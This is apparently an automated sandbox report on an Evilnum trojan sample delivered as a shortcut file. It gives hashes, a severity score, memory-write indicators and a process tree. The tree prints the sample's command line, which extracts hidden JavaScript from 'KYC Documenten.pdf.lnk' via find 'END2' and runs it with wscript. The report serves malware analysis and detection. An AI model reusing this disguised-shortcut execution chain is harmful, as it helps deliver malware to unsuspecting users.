evilnum | 0d878b1b9f5c1ae8925e55df9e10b4271eb99970af133e251830044d24296ba8

Analysis

Target

c7cf5c62ecfade27338acb2cc91a06c2615dbb97711f2558a9379ee8a5306720.lnk
Size

1.5MB
MD5

ffee111b993de52e2034e31953dee86b
SHA1

e88f7946cc7b987b0c49b28d770e722bd0fa3a04
SHA256

c7cf5c62ecfade27338acb2cc91a06c2615dbb97711f2558a9379ee8a5306720
SHA512

390d7a6d438ef634c7456a9f51948b22e250c61f2fac69493bb0cf1a06dfb189da191aca4e8ff4078b53f7092a1595309fb2b3eaa300e8989a2484b914151c47

Score

10^/10

evilnum trojan

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1304 wrote to memory of 2900	1304	cmd.exe	72
PID 1304 wrote to memory of 2900	1304	cmd.exe	72
PID 2900 wrote to memory of 3096	2900	cmd.exe	73
PID 2900 wrote to memory of 3096	2900	cmd.exe	73
PID 2900 wrote to memory of 4068	2900	cmd.exe	74
PID 2900 wrote to memory of 4068	2900	cmd.exe	74
PID 2900 wrote to memory of 3912	2900	cmd.exe	77
PID 2900 wrote to memory of 3912	2900	cmd.exe	77

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\c7cf5c62ecfade27338acb2cc91a06c2615dbb97711f2558a9379ee8a5306720.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&move "KYC Documenten.pdf.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "END2">"C:\Users\Admin\AppData\Local\Temp\0.js"&wscript "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:3096
- - C:\Windows\system32\find.exe
    find "END2"
    3⤵
    PID:4068
- - C:\Windows\system32\wscript.exe
    wscript "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    PID:3912